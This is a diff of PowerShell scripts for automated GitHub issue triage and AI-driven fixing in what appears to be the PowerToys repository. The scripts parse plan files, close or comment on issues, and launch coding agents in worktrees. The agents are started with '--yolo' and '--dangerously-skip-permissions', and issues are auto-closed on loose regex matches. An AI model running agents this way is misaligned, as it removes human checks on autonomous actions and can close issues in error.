$highConfidence += @{
IssueNumber = $issueNum
FeasibilityScore = $feasibility
ClarityScore = $clarity
EffortDays = $effortDays
OverviewPath = $overviewPath
ImplementationPlanPath = $implPlanPath
}
}
}
return $highConfidence | Sort-Object -Property FeasibilityScore -Descending
}
#endregion
#region Release & PR Status Helpers
function Get-PRReleaseStatus {
<#
.SYNOPSIS
Check if a PR has been merged and released.
.DESCRIPTION
Queries GitHub to determine:
1. If the PR is merged
2. What release (if any) contains the merge commit
.OUTPUTS
@{
PRNumber = <int>
IsMerged = $true | $false
MergeCommit = <commit sha or $null>
ReleasedIn = <version string or $null> # e.g., "v0.90.0"
IsReleased = $true | $false
}
#>
param(
[Parameter(Mandatory)]
[int]$PRNumber,
[string]$Repo = 'microsoft/PowerToys'
)
$result = @{
PRNumber = $PRNumber
IsMerged = $false
MergeCommit = $null
ReleasedIn = $null
IsReleased = $false
}
try {
# Get PR details from GitHub
$prJson = gh pr view $PRNumber --repo $Repo --json state,mergeCommit,mergedAt 2>$null
if (-not $prJson) {
return $result
}
$pr = $prJson | ConvertFrom-Json
if ($pr.state -eq 'MERGED' -and $pr.mergeCommit) {
$result.IsMerged = $true
$result.MergeCommit = $pr.mergeCommit.oid
# Check which release tags contain this commit
# Use git tag --contains to find tags that include the merge commit
$tags = git tag --contains $result.MergeCommit 2>$null
if ($tags) {
# Filter to release tags (v0.XX.X pattern) and get the earliest one
$releaseTags = $tags | Where-Object { $_ -match '^v\d+\.\d+\.\d+$' } | Sort-Object
if ($releaseTags) {
$result.ReleasedIn = $releaseTags | Select-Object -First 1
$result.IsReleased = $true
}
}
}
}
catch {
# Silently fail - will return default "not merged" status
}
return $result
}
function Get-LatestRelease {
<#
.SYNOPSIS
Get the latest release version of PowerToys.
#>
param(
[string]$Repo = 'microsoft/PowerToys'
)
try {
$releaseJson = gh release view --repo $Repo --json tagName 2>$null
if ($releaseJson) {
$release = $releaseJson | ConvertFrom-Json
return $release.tagName
}
}
catch {
# Fallback: try to get from git tags
$latestTag = git describe --tags --abbrev=0 2>$null
if ($latestTag) {
return $latestTag
}
}
return $null
}
#endregion
#region Implementation Plan Analysis
function Get-ImplementationPlanStatus {
<#
.SYNOPSIS
Parse implementation-plan.md to determine the recommended action.
.DESCRIPTION
Reads the implementation plan and extracts the status/recommendation.
For "already resolved" issues, also checks if the fix has been released.
Returns an object indicating what action should be taken.
.OUTPUTS
@{
Status = 'AlreadyResolved' | 'FixedButUnreleased' | 'NeedsClarification' | 'Duplicate' | 'WontFix' | 'ReadyToImplement' | 'Unknown'
Action = 'CloseIssue' | 'AddComment' | 'LinkDuplicate' | 'ImplementFix' | 'Skip'
Reason = <string explaining why>
RelatedPR = <PR number if already fixed>
ReleasedIn = <version if released, e.g., "v0.90.0">
DuplicateOf = <issue number if duplicate>
CommentText = <suggested comment if applicable>
}
#>
param(
[Parameter(Mandatory)]
[string]$ImplementationPlanPath,
[switch]$SkipReleaseCheck
)
$result = @{
Status = 'Unknown'
Action = 'Skip'
Reason = 'Could not determine status from implementation plan'
RelatedPR = $null
ReleasedIn = $null
DuplicateOf = $null
CommentText = $null
}
if (-not (Test-Path $ImplementationPlanPath)) {
$result.Reason = 'Implementation plan file not found'
return $result
}
$content = Get-Content $ImplementationPlanPath -Raw
# Check for ALREADY RESOLVED status
if ($content -match '(?i)STATUS:\s*ALREADY\s+RESOLVED' -or
$content -match '(?i)⚠️\s*STATUS:\s*ALREADY\s+RESOLVED' -or
$content -match '(?i)This issue has been fixed by' -or
$content -match '(?i)No implementation work is needed') {
# Try to extract the PR number
$prNumber = $null
if ($content -match '\[PR #(\d+)\]' -or $content -match 'PR #(\d+)' -or $content -match '/pull/(\d+)') {
$prNumber = [int]$Matches[1]
$result.RelatedPR = $prNumber
}
# Check if the fix has been released
if ($prNumber -and -not $SkipReleaseCheck) {
$prStatus = Get-PRReleaseStatus -PRNumber $prNumber
if ($prStatus.IsReleased) {
# Fix is released - safe to close
$result.Status = 'AlreadyResolved'
$result.Action = 'CloseIssue'
$result.ReleasedIn = $prStatus.ReleasedIn
$result.Reason = "Issue fixed by PR #$prNumber, released in $($prStatus.ReleasedIn)"
$result.CommentText = @"
This issue has been fixed by PR #$prNumber and is available in **$($prStatus.ReleasedIn)**.
Please update to the latest version. If you're still experiencing this issue after updating, please reopen with additional details.
"@
}
elseif ($prStatus.IsMerged) {
# PR merged but not yet released - add comment but don't close
$result.Status = 'FixedButUnreleased'
$result.Action = 'AddComment'
$result.Reason = "Issue fixed by PR #$prNumber, but not yet released"
$result.CommentText = @"
This issue has been fixed by PR #$prNumber, which has been merged but **not yet released**.
The fix will be available in the next PowerToys release. You can:
- Wait for the next official release
- Build from source to get the fix immediately
We'll close this issue once the fix is released.
"@
}
else {
# PR exists but not merged - treat as ready to implement (PR might have been reverted)
$result.Status = 'ReadyToImplement'
$result.Action = 'ImplementFix'
$result.Reason = "PR #$prNumber exists but is not merged - may need reimplementation"
}
}
elseif ($prNumber) {
# Skip release check requested or no PR number - assume it's resolved
$result.Status = 'AlreadyResolved'
$result.Action = 'CloseIssue'
$result.Reason = 'Issue has already been fixed'
$result.CommentText = "This issue has been fixed by PR #$prNumber. Closing as resolved."
}
else {
# No PR number found - just mark as resolved with generic message
$result.Status = 'AlreadyResolved'
$result.Action = 'CloseIssue'
$result.Reason = 'Issue appears to have been resolved'
$result.CommentText = "Based on analysis, this issue appears to have already been resolved. Please verify and reopen if the issue persists."
}
return $result
}
# Check for DUPLICATE status
if ($content -match '(?i)STATUS:\s*DUPLICATE' -or
$content -match '(?i)This is a duplicate of' -or
$content -match '(?i)duplicate of #(\d+)') {
$result.Status = 'Duplicate'
$result.Action = 'LinkDuplicate'
$result.Reason = 'Issue is a duplicate'
# Try to extract the duplicate issue number
if ($content -match 'duplicate of #(\d+)' -or $content -match '#(\d+)') {
$result.DuplicateOf = [int]$Matches[1]
$result.CommentText = "This appears to be a duplicate of #$($result.DuplicateOf)."
}
return $result
}
# Check for NEEDS CLARIFICATION status
if ($content -match '(?i)STATUS:\s*NEEDS?\s+CLARIFICATION' -or
$content -match '(?i)STATUS:\s*NEEDS?\s+MORE\s+INFO' -or
$content -match '(?i)cannot proceed without' -or
$content -match '(?i)need(?:s)? more information') {
$result.Status = 'NeedsClarification'
$result.Action = 'AddComment'
$result.Reason = 'Issue needs more information from reporter'
# Try to extract what information is needed
if ($content -match '(?i)(?:need(?:s)?|require(?:s)?|missing)[:\s]+([^\n]+)') {
$result.CommentText = "Additional information is needed to proceed with this issue: $($Matches[1].Trim())"
} else {
$result.CommentText = "Could you please provide more details about this issue? Specifically, steps to reproduce and expected vs actual behavior would help."
}
return $result
}
# Check for WONT FIX / NOT FEASIBLE status
if ($content -match '(?i)STATUS:\s*(?:WONT?\s+FIX|NOT\s+FEASIBLE|REJECTED)' -or
$content -match '(?i)(?:not|cannot be) (?:feasible|implemented)' -or
$content -match '(?i)recommend(?:ed)?\s+(?:to\s+)?close') {
$result.Status = 'WontFix'
$result.Action = 'AddComment'
$result.Reason = 'Issue is not feasible or recommended to close'
# Try to extract the reason
if ($content -match '(?i)(?:because|reason|due to)[:\s]+([^\n]+)') {
$result.CommentText = "After analysis, this issue cannot be implemented: $($Matches[1].Trim())"
}
return $result
}
# Check for external dependency / blocked status
if ($content -match '(?i)STATUS:\s*BLOCKED' -or
$content -match '(?i)blocked by' -or
$content -match '(?i)depends on external' -or
$content -match '(?i)waiting for upstream') {
$result.Status = 'Blocked'
$result.Action = 'AddComment'
$result.Reason = 'Issue is blocked by external dependency'
return $result
}
# Check for READY TO IMPLEMENT (positive signals)
if ($content -match '(?i)## \d+\)\s*Task Breakdown' -or
$content -match '(?i)implementation steps' -or
$content -match '(?i)## Layers & Files' -or
($content -match '(?i)Feasibility' -and $content -notmatch '(?i)not\s+feasible')) {
$result.Status = 'ReadyToImplement'
$result.Action = 'ImplementFix'
$result.Reason = 'Implementation plan is ready'
return $result
}
# Default: if we have a detailed plan, assume it's ready
if ($content.Length -gt 500 -and $content -match '(?i)##') {
$result.Status = 'ReadyToImplement'
$result.Action = 'ImplementFix'
$result.Reason = 'Implementation plan appears complete'
}
return $result
}
function Invoke-ImplementationPlanAction {
<#
.SYNOPSIS
Execute the recommended action from the implementation plan analysis.
.DESCRIPTION
Based on the status from Get-ImplementationPlanStatus, takes appropriate action:
- CloseIssue: Closes the issue with a comment
- AddComment: Adds a comment to the issue
- LinkDuplicate: Marks as duplicate
- ImplementFix: Returns $true to indicate code fix should proceed
- Skip: Returns $false
.OUTPUTS
@{
ActionTaken = <string describing what was done>
ShouldProceedWithFix = $true | $false
Success = $true | $false
}
#>
param(
[Parameter(Mandatory)]
[int]$IssueNumber,
[Parameter(Mandatory)]
[hashtable]$PlanStatus,
[switch]$DryRun
)
$result = @{
ActionTaken = 'None'
ShouldProceedWithFix = $false
Success = $true
}
switch ($PlanStatus.Action) {
'ImplementFix' {
$result.ActionTaken = 'Proceeding with code fix'
$result.ShouldProceedWithFix = $true
Info "[Issue #$IssueNumber] Status: $($PlanStatus.Status) - $($PlanStatus.Reason)"
}
'CloseIssue' {
$result.ActionTaken = "Closing issue: $($PlanStatus.Reason)"
Info "[Issue #$IssueNumber] $($PlanStatus.Status): $($PlanStatus.Reason)"
if (-not $DryRun) {
$comment = $PlanStatus.CommentText
if (-not $comment) {
$comment = "Closing based on automated analysis: $($PlanStatus.Reason)"
}
try {
# Check if issue is already closed
$issueState = gh issue view $IssueNumber --json state 2>$null | ConvertFrom-Json
if ($issueState.state -eq 'CLOSED') {
Info "[Issue #$IssueNumber] Already closed, skipping"
$result.ActionTaken = "Already closed"
return $result
}
# Close the issue with comment (single operation to avoid duplicates)
gh issue close $IssueNumber --reason "completed" --comment $comment 2>&1 | Out-Null
Success "[Issue #$IssueNumber] ✓ Closed with comment"
}
catch {
Err "[Issue #$IssueNumber] Failed to close: $($_.Exception.Message)"
$result.Success = $false
}
} else {
Info "[Issue #$IssueNumber] (DryRun) Would close with: $($PlanStatus.CommentText)"
}
}
'AddComment' {
$result.ActionTaken = "Adding comment: $($PlanStatus.Reason)"
Info "[Issue #$IssueNumber] $($PlanStatus.Status): $($PlanStatus.Reason)"
if (-not $DryRun -and $PlanStatus.CommentText) {
try {
gh issue comment $IssueNumber --body $PlanStatus.CommentText 2>&1 | Out-Null
Success "[Issue #$IssueNumber] ✓ Comment added"
}
catch {
Err "[Issue #$IssueNumber] Failed to add comment: $($_.Exception.Message)"
$result.Success = $false
}
} else {
Info "[Issue #$IssueNumber] (DryRun) Would comment: $($PlanStatus.CommentText)"
}
}
'LinkDuplicate' {
$result.ActionTaken = "Marking as duplicate of #$($PlanStatus.DuplicateOf)"
Info "[Issue #$IssueNumber] Duplicate of #$($PlanStatus.DuplicateOf)"
if (-not $DryRun -and $PlanStatus.DuplicateOf) {
try {
gh issue close $IssueNumber --reason "not_planned" --comment "Closing as duplicate of #$($PlanStatus.DuplicateOf)" 2>&1 | Out-Null
Success "[Issue #$IssueNumber] ✓ Closed as duplicate"
}
catch {
Err "[Issue #$IssueNumber] Failed to close as duplicate: $($_.Exception.Message)"
$result.Success = $false
}
}
}
'Skip' {
$result.ActionTaken = "Skipped: $($PlanStatus.Reason)"
Warn "[Issue #$IssueNumber] Skipping: $($PlanStatus.Reason)"
}
}
return $result
}
#endregion
#region Worktree Integration
function Copy-IssueReviewToWorktree {
<#
.SYNOPSIS
Copy the Generated Files for an issue to a worktree.
#>
param(
[Parameter(Mandatory)]
[int]$IssueNumber,
[Parameter(Mandatory)]
[string]$SourceRepoRoot,
[Parameter(Mandatory)]
[string]$WorktreePath
)
$sourceReviewPath = Get-IssueReviewPath -RepoRoot $SourceRepoRoot -IssueNumber $IssueNumber
$destReviewPath = Get-IssueReviewPath -RepoRoot $WorktreePath -IssueNumber $IssueNumber
if (-not (Test-Path $sourceReviewPath)) {
throw "Issue review files not found at: $sourceReviewPath"
}
Ensure-DirectoryExists -Path $destReviewPath
Copy-Item -Path "$sourceReviewPath\*" -Destination $destReviewPath -Recurse -Force
Info "Copied issue review files to: $destReviewPath"
return $destReviewPath
}
#endregion

View File

@@ -1,581 +0,0 @@
<#!
.SYNOPSIS
Auto-fix high-confidence issues using worktrees and AI CLI.
.DESCRIPTION
Finds issues with high confidence scores from the review results, creates worktrees
for each, copies the Generated Files, and kicks off the FixIssue agent to implement fixes.
.PARAMETER IssueNumber
Specific issue number to fix. If not specified, finds high-confidence issues automatically.
.PARAMETER MinFeasibilityScore
Minimum Technical Feasibility score (0-100). Default: 70.
.PARAMETER MinClarityScore
Minimum Requirement Clarity score (0-100). Default: 60.
.PARAMETER MaxEffortDays
Maximum effort estimate in days. Default: 2 (Small fixes).
.PARAMETER MaxConcurrent
Maximum parallel fix jobs. Default: 5 (worktrees are resource-intensive).
.PARAMETER CLIType
AI CLI to use: claude, gh-copilot, or vscode. Auto-detected if not specified.
.PARAMETER Model
Copilot CLI model to use (e.g., gpt-5.2-codex).
.PARAMETER DryRun
List issues without starting fixes.
.PARAMETER SkipWorktree
Fix in the current repository instead of creating worktrees (useful for single issue).
.PARAMETER VSCodeProfile
VS Code profile to use when opening worktrees. Default: Default.
.PARAMETER AutoCommit
Automatically commit changes after successful fix.
.PARAMETER CreatePR
Automatically create a pull request after successful fix.
.EXAMPLE
# Fix a specific issue
./Start-IssueAutoFix.ps1 -IssueNumber 12345
.EXAMPLE
# Find and fix all high-confidence issues (dry run)
./Start-IssueAutoFix.ps1 -DryRun
.EXAMPLE
# Fix issues with very high confidence
./Start-IssueAutoFix.ps1 -MinFeasibilityScore 80 -MinClarityScore 70 -MaxEffortDays 1
.EXAMPLE
# Fix single issue in current repo (no worktree)
./Start-IssueAutoFix.ps1 -IssueNumber 12345 -SkipWorktree
.NOTES
Prerequisites:
- Run Start-BulkIssueReview.ps1 first to generate review files
- GitHub CLI (gh) authenticated
- Claude Code CLI or VS Code with Copilot
Results:
- Worktrees created at ../<RepoName>-<hash>/
- Generated Files copied to each worktree
- Fix agent invoked in each worktree
#>
[CmdletBinding()]
param(
[int]$IssueNumber,
[int]$MinFeasibilityScore = 70,
[int]$MinClarityScore = 60,
[int]$MaxEffortDays = 2,
[int]$MaxConcurrent = 5,
[ValidateSet('claude', 'copilot', 'gh-copilot', 'vscode', 'auto')]
[string]$CLIType = 'auto',
[string]$Model,
[switch]$DryRun,
[switch]$SkipWorktree,
[Alias('Profile')]
[string]$VSCodeProfile = 'Default',
[switch]$AutoCommit,
[switch]$CreatePR,
[switch]$Force,
[switch]$Help
)
# Load libraries
$scriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
. "$scriptDir/IssueReviewLib.ps1"
# Resolve config directory name (.github or .claude) from script location
$_cfgDir = if ($PSScriptRoot -match '[\\/](\.github|\.claude)[\\/]') { $Matches[1] } else { '.github' }
# Load worktree library from tools/build
$repoRoot = Get-RepoRoot
$worktreeLib = Join-Path $repoRoot 'tools/build/WorktreeLib.ps1'
if (Test-Path $worktreeLib) {
. $worktreeLib
}
# Show help
if ($Help) {
Get-Help $MyInvocation.MyCommand.Path -Full
return
}
function Start-IssueFixInWorktree {
<#
.SYNOPSIS
Analyze implementation plan and either take action or create worktree for fix.
.DESCRIPTION
First analyzes the implementation plan to determine if:
- Issue is already resolved (close it)
- Issue needs clarification (add comment)
- Issue is a duplicate (close as duplicate)
- Issue is ready to implement (create worktree and fix)
#>
param(
[Parameter(Mandatory)]
[int]$IssueNumber,
[Parameter(Mandatory)]
[string]$SourceRepoRoot,
[string]$CLIType = 'claude',
[string]$Model,
[string]$VSCodeProfile = 'Default',
[switch]$SkipWorktree,
[switch]$DryRun
)
$issueReviewPath = Get-IssueReviewPath -RepoRoot $SourceRepoRoot -IssueNumber $IssueNumber
$overviewPath = Join-Path $issueReviewPath 'overview.md'
$implPlanPath = Join-Path $issueReviewPath 'implementation-plan.md'
# Verify review files exist
if (-not (Test-Path $overviewPath)) {
throw "No overview.md found for issue #$IssueNumber. Run Start-BulkIssueReview.ps1 first."
}
if (-not (Test-Path $implPlanPath)) {
throw "No implementation-plan.md found for issue #$IssueNumber. Run Start-BulkIssueReview.ps1 first."
}
# =====================================
# STEP 1: Analyze the implementation plan
# =====================================
Info "Analyzing implementation plan for issue #$IssueNumber..."
$planStatus = Get-ImplementationPlanStatus -ImplementationPlanPath $implPlanPath
# =====================================
# STEP 2: Execute the recommended action
# =====================================
$actionResult = Invoke-ImplementationPlanAction -IssueNumber $IssueNumber -PlanStatus $planStatus -DryRun:$DryRun
# If we shouldn't proceed with fix, return early
if (-not $actionResult.ShouldProceedWithFix) {
return @{
IssueNumber = $IssueNumber
WorktreePath = $null
Success = $actionResult.Success
ActionTaken = $actionResult.ActionTaken
SkippedCodeFix = $true
}
}
# =====================================
# STEP 3: Proceed with code fix
# =====================================
$workingDir = $SourceRepoRoot
if (-not $SkipWorktree) {
# Use the simplified New-WorktreeFromIssue.cmd which only needs issue number
$worktreeCmd = Join-Path $SourceRepoRoot 'tools/build/New-WorktreeFromIssue.cmd'
Info "Creating worktree for issue #$IssueNumber..."
# Call the cmd script with issue number and -NoVSCode for automation
& cmd /c $worktreeCmd $IssueNumber -NoVSCode
if ($LASTEXITCODE -ne 0) {
throw "Failed to create worktree for issue #$IssueNumber"
}
# Find the created worktree
$entries = Get-WorktreeEntries
$worktreeEntry = $entries | Where-Object { $_.Branch -like "issue/$IssueNumber*" } | Select-Object -First 1
if (-not $worktreeEntry) {
throw "Failed to find worktree for issue #$IssueNumber"
}
$workingDir = $worktreeEntry.Path
Info "Worktree created at: $workingDir"
# Copy Generated Files to worktree
Info "Copying review files to worktree..."
$destReviewPath = Copy-IssueReviewToWorktree -IssueNumber $IssueNumber -SourceRepoRoot $SourceRepoRoot -WorktreePath $workingDir
Info "Review files copied to: $destReviewPath"
# Copy config dirs to worktree (agents, skills, instructions, prompts, top-level md)
# These aren't on the issue branch so the CLI can't find them without this.
$sourceCfg = Join-Path $SourceRepoRoot $_cfgDir
$destCfg = Join-Path $workingDir $_cfgDir
if (Test-Path $sourceCfg) {
if (-not (Test-Path $destCfg)) {
New-Item -ItemType Directory -Path $destCfg -Force | Out-Null
}
foreach ($sub in @('agents', 'skills', 'instructions', 'prompts')) {
$src = Join-Path $sourceCfg $sub
$dst = Join-Path $destCfg $sub
if ((Test-Path $src) -and -not (Test-Path $dst)) {
Copy-Item -Path $src -Destination $dst -Recurse -Force
Info "Copied $_cfgDir/$sub to worktree"
}
}
foreach ($mdFile in @('copilot-instructions.md', 'CLAUDE.md')) {
$src = Join-Path $sourceCfg $mdFile
$dst = Join-Path $destCfg $mdFile
if ((Test-Path $src) -and -not (Test-Path $dst)) {
Copy-Item -Path $src -Destination $dst -Force
Info "Copied $_cfgDir/$mdFile to worktree"
}
}
}
}
# Build the prompt for the fix agent
$prompt = @"
You are the FixIssue agent. Fix GitHub issue #$IssueNumber.
The implementation plan is at: Generated Files/issueReview/$IssueNumber/implementation-plan.md
The overview is at: Generated Files/issueReview/$IssueNumber/overview.md
Follow the implementation plan exactly. Build and verify after each change.
"@
# Start the fix agent
Info "Starting fix agent for issue #$IssueNumber in $workingDir..."
# MCP config for github-artifacts tools (relative to repo root)
$mcpConfig = "@$_cfgDir/skills/issue-fix/references/mcp-config.json"
switch ($CLIType) {
'copilot' {
# GitHub Copilot CLI (standalone copilot command)
# -p: Non-interactive prompt mode (exits after completion)
# --yolo: Enable all permissions for automated execution
# -s: Silent mode - output only agent response
# --additional-mcp-config: Load github-artifacts MCP for image/attachment analysis
$copilotArgs = @(
'--additional-mcp-config', $mcpConfig,
'-p', $prompt,
'--yolo',
'-s',
'--agent', 'FixIssue'
)
if ($Model) {
$copilotArgs += @('--model', $Model)
}
Info "Running: copilot $($copilotArgs -join ' ')"
Push-Location $workingDir
try {
& copilot @copilotArgs
if ($LASTEXITCODE -ne 0) {
Warn "Copilot exited with code $LASTEXITCODE"
}
} finally {
Pop-Location
}
}
'claude' {
$claudeArgs = @(
'--print',
'--dangerously-skip-permissions',
'--agent', 'FixIssue',
'--prompt', $prompt
)
Start-Process -FilePath 'claude' -ArgumentList $claudeArgs -WorkingDirectory $workingDir -Wait -NoNewWindow
}
'gh-copilot' {
# Use GitHub Copilot CLI via gh extension
# gh copilot suggest requires interactive mode, so we open VS Code with the prompt
Info "GitHub Copilot CLI detected. Opening VS Code with prompt..."
# Create a prompt file in the worktree for easy access
$promptFile = Join-Path $workingDir "Generated Files/issueReview/$IssueNumber/fix-prompt.md"
$promptContent = @"
# Fix Issue #$IssueNumber
## Instructions
$prompt
## Quick Start
1. Read the implementation plan: ``Generated Files/issueReview/$IssueNumber/implementation-plan.md``
2. Read the overview: ``Generated Files/issueReview/$IssueNumber/overview.md``
3. Follow the plan step by step
4. Build and test after each change
"@
Set-Content -Path $promptFile -Value $promptContent -Force
# Open VS Code with the worktree
code --new-window $workingDir --profile $VSCodeProfile
Info "VS Code opened at $workingDir"
Info "Prompt file created at: $promptFile"
Info "Use GitHub Copilot in VS Code to implement the fix."
}
'vscode' {
# Open VS Code and let user manually trigger the fix
code --new-window $workingDir --profile $VSCodeProfile
Info "VS Code opened at $workingDir. Use Copilot to implement the fix."
}
default {
Warn "CLI type '$CLIType' not fully supported for auto-fix. Opening VS Code..."
code --new-window $workingDir --profile $VSCodeProfile
}
}
# Check if any changes were actually made
$hasChanges = $false
Push-Location $workingDir
try {
$uncommitted = git status --porcelain 2>$null
$commitsAhead = git rev-list main..HEAD --count 2>$null
if ($uncommitted -or ($commitsAhead -gt 0)) {
$hasChanges = $true
}
} finally {
Pop-Location
}
return @{
IssueNumber = $IssueNumber
WorktreePath = $workingDir
Success = $true
ActionTaken = 'CodeFixAttempted'
SkippedCodeFix = $false
HasChanges = $hasChanges
}
}
#region Main Script
try {
Info "Repository root: $repoRoot"
# Detect or validate CLI
if ($CLIType -eq 'auto') {
$cli = Get-AvailableCLI
if ($cli) {
$CLIType = $cli.Type
Info "Auto-detected CLI: $($cli.Name)"
} else {
$CLIType = 'vscode'
Info "No CLI detected, will use VS Code"
}
}
# Find issues to fix
$issuesToFix = @()
if ($IssueNumber) {
# Single issue specified
$reviewResult = Get-IssueReviewResult -IssueNumber $IssueNumber -RepoRoot $repoRoot
if (-not $reviewResult.HasOverview -or -not $reviewResult.HasImplementationPlan) {
throw "Issue #$IssueNumber does not have review files. Run Start-BulkIssueReview.ps1 first."
}
$issuesToFix += @{
IssueNumber = $IssueNumber
OverviewPath = $reviewResult.OverviewPath
ImplementationPlanPath = $reviewResult.ImplementationPlanPath
}
} else {
# Find high-confidence issues
Info "`nSearching for high-confidence issues..."
Info " Min Feasibility Score: $MinFeasibilityScore"
Info " Min Clarity Score: $MinClarityScore"
Info " Max Effort: $MaxEffortDays days"
$highConfidence = Get-HighConfidenceIssues `
-RepoRoot $repoRoot `
-MinFeasibilityScore $MinFeasibilityScore `
-MinClarityScore $MinClarityScore `
-MaxEffortDays $MaxEffortDays
if ($highConfidence.Count -eq 0) {
Warn "No high-confidence issues found matching criteria."
Info "Try lowering the score thresholds or increasing MaxEffortDays."
return
}
$issuesToFix = $highConfidence
}
Info "`nIssues ready for auto-fix: $($issuesToFix.Count)"
Info ("-" * 80)
foreach ($issue in $issuesToFix) {
$scores = ""
if ($issue.FeasibilityScore) {
$scores = " [Feasibility: $($issue.FeasibilityScore), Clarity: $($issue.ClarityScore), Effort: $($issue.EffortDays)d]"
}
Info ("#{0,-6}{1}" -f $issue.IssueNumber, $scores)
}
Info ("-" * 80)
# In DryRun mode, still analyze plans but don't take action
if ($DryRun) {
Info "`nAnalyzing implementation plans (dry run)..."
foreach ($issue in $issuesToFix) {
$implPlanPath = Join-Path (Get-IssueReviewPath -RepoRoot $repoRoot -IssueNumber $issue.IssueNumber) 'implementation-plan.md'
if (Test-Path $implPlanPath) {
$planStatus = Get-ImplementationPlanStatus -ImplementationPlanPath $implPlanPath
$color = switch ($planStatus.Action) {
'ImplementFix' { 'Green' }
'CloseIssue' { 'Yellow' }
'AddComment' { 'Cyan' }
'LinkDuplicate' { 'Magenta' }
default { 'Gray' }
}
Write-Host (" #{0,-6} [{1,-20}] -> {2}" -f $issue.IssueNumber, $planStatus.Status, $planStatus.Action) -ForegroundColor $color
if ($planStatus.RelatedPR) {
$prInfo = "PR #$($planStatus.RelatedPR)"
if ($planStatus.ReleasedIn) {
$prInfo += " (released in $($planStatus.ReleasedIn))"
} elseif ($planStatus.Status -eq 'FixedButUnreleased') {
$prInfo += " (merged, awaiting release)"
}
Write-Host " $prInfo" -ForegroundColor DarkGray
}
if ($planStatus.DuplicateOf) {
Write-Host " Duplicate of #$($planStatus.DuplicateOf)" -ForegroundColor DarkGray
}
}
}
Warn "`nDry run mode - no actions taken."
return
}
# Confirm before proceeding (skip if -Force)
if (-not $Force) {
$confirm = Read-Host "`nProceed with fixing $($issuesToFix.Count) issues? (y/N)"
if ($confirm -notmatch '^[yY]') {
Info "Cancelled."
return
}
}
# Process issues
$results = @{
Succeeded = @()
Failed = @()
AlreadyResolved = @()
AwaitingRelease = @()
NeedsClarification = @()
Duplicates = @()
NoChanges = @()
}
foreach ($issue in $issuesToFix) {
try {
Info "`n" + ("=" * 60)
Info "PROCESSING ISSUE #$($issue.IssueNumber)"
Info ("=" * 60)
$result = Start-IssueFixInWorktree `
-IssueNumber $issue.IssueNumber `
-SourceRepoRoot $repoRoot `
-CLIType $CLIType `
-Model $Model `
-VSCodeProfile $VSCodeProfile `
-SkipWorktree:$SkipWorktree `
-DryRun:$DryRun
if ($result.SkippedCodeFix) {
# Action was taken but no code fix (e.g., closed issue, added comment)
switch -Wildcard ($result.ActionTaken) {
'*Closing*' { $results.AlreadyResolved += $issue.IssueNumber }
'*clarification*' { $results.NeedsClarification += $issue.IssueNumber }
'*duplicate*' { $results.Duplicates += $issue.IssueNumber }
'*merged*awaiting*' { $results.AwaitingRelease += $issue.IssueNumber }
'*merged but not yet released*' { $results.AwaitingRelease += $issue.IssueNumber }
default { $results.Succeeded += $issue.IssueNumber }
}
Success "✓ Issue #$($issue.IssueNumber) handled: $($result.ActionTaken)"
}
elseif ($result.HasChanges) {
$results.Succeeded += $issue.IssueNumber
Success "✓ Issue #$($issue.IssueNumber) fix completed with changes"
}
else {
$results.NoChanges += $issue.IssueNumber
Warn "⚠ Issue #$($issue.IssueNumber) fix ran but no code changes were made"
}
}
catch {
Err "✗ Issue #$($issue.IssueNumber) failed: $($_.Exception.Message)"
$results.Failed += $issue.IssueNumber
}
}
# Summary
Info "`n" + ("=" * 80)
Info "AUTO-FIX COMPLETE"
Info ("=" * 80)
Info "Total issues: $($issuesToFix.Count)"
if ($results.Succeeded.Count -gt 0) {
Success "Code fixes: $($results.Succeeded.Count)"
}
if ($results.AlreadyResolved.Count -gt 0) {
Success "Already resolved: $($results.AlreadyResolved.Count) (issues closed)"
}
if ($results.AwaitingRelease.Count -gt 0) {
Info "Awaiting release: $($results.AwaitingRelease.Count) (fix merged, pending release)"
}
if ($results.NeedsClarification.Count -gt 0) {
Warn "Need clarification: $($results.NeedsClarification.Count) (comments added)"
}
if ($results.Duplicates.Count -gt 0) {
Warn "Duplicates: $($results.Duplicates.Count) (issues closed)"
}
if ($results.NoChanges.Count -gt 0) {
Warn "No changes made: $($results.NoChanges.Count)"
}
if ($results.Failed.Count -gt 0) {
Err "Failed: $($results.Failed.Count)"
Err "Failed issues: $($results.Failed -join ', ')"
}
Info ("=" * 80)
if (-not $SkipWorktree -and ($results.Succeeded.Count -gt 0 -or $results.NoChanges.Count -gt 0)) {
Info "`nWorktrees created. Use 'git worktree list' to see all worktrees."
Info "To clean up: Delete-Worktree.ps1 -Branch issue/<number>"
}
# Write signal files for orchestrator
$genFiles = Get-GeneratedFilesPath -RepoRoot $repoRoot
foreach ($issueNum in $results.Succeeded) {
$signalDir = Join-Path $genFiles "issueFix/$issueNum"
if (-not (Test-Path $signalDir)) { New-Item -ItemType Directory -Path $signalDir -Force | Out-Null }
@{
status = "success"
issueNumber = $issueNum
timestamp = (Get-Date).ToString("o")
worktreePath = (git worktree list --porcelain | Select-String "worktree.*issue.$issueNum" | ForEach-Object { $_.Line -replace 'worktree ', '' })
} | ConvertTo-Json | Set-Content "$signalDir/.signal" -Force
}
foreach ($issueNum in $results.Failed) {
$signalDir = Join-Path $genFiles "issueFix/$issueNum"
if (-not (Test-Path $signalDir)) { New-Item -ItemType Directory -Path $signalDir -Force | Out-Null }
@{
status = "failure"
issueNumber = $issueNum
timestamp = (Get-Date).ToString("o")
} | ConvertTo-Json | Set-Content "$signalDir/.signal" -Force
}
return $results
}
catch {
Err "Error: $($_.Exception.Message)"
exit 1
}
#endregion

View File

@@ -1,86 +0,0 @@
<#
.SYNOPSIS
Run issue-fix in parallel from a single terminal.
.PARAMETER IssueNumbers
Issue numbers to fix.
.PARAMETER ThrottleLimit
Maximum parallel tasks.
.PARAMETER CLIType
AI CLI type (copilot/claude/gh-copilot/vscode/auto).
.PARAMETER Model
Copilot CLI model to use (e.g., gpt-5.2-codex).
.PARAMETER Force
Skip confirmation prompts in Start-IssueAutoFix.ps1.
#>
[CmdletBinding()]
param(
[Parameter(Mandatory)]
[int[]]$IssueNumbers,
[int]$ThrottleLimit = 5,
[ValidateSet('claude', 'copilot', 'gh-copilot', 'vscode', 'auto')]
[string]$CLIType = 'copilot',
[string]$Model,
[switch]$Force
)
$repoRoot = Resolve-Path (Join-Path $PSScriptRoot '..\..\..\..')
# Resolve config directory name (.github or .claude) from script location
$_cfgDir = if ($PSScriptRoot -match '[\\/](\.github|\.claude)[\\/]') { $Matches[1] } else { '.github' }
$scriptPath = Join-Path $repoRoot "$_cfgDir\skills\issue-fix\scripts\Start-IssueAutoFix.ps1"
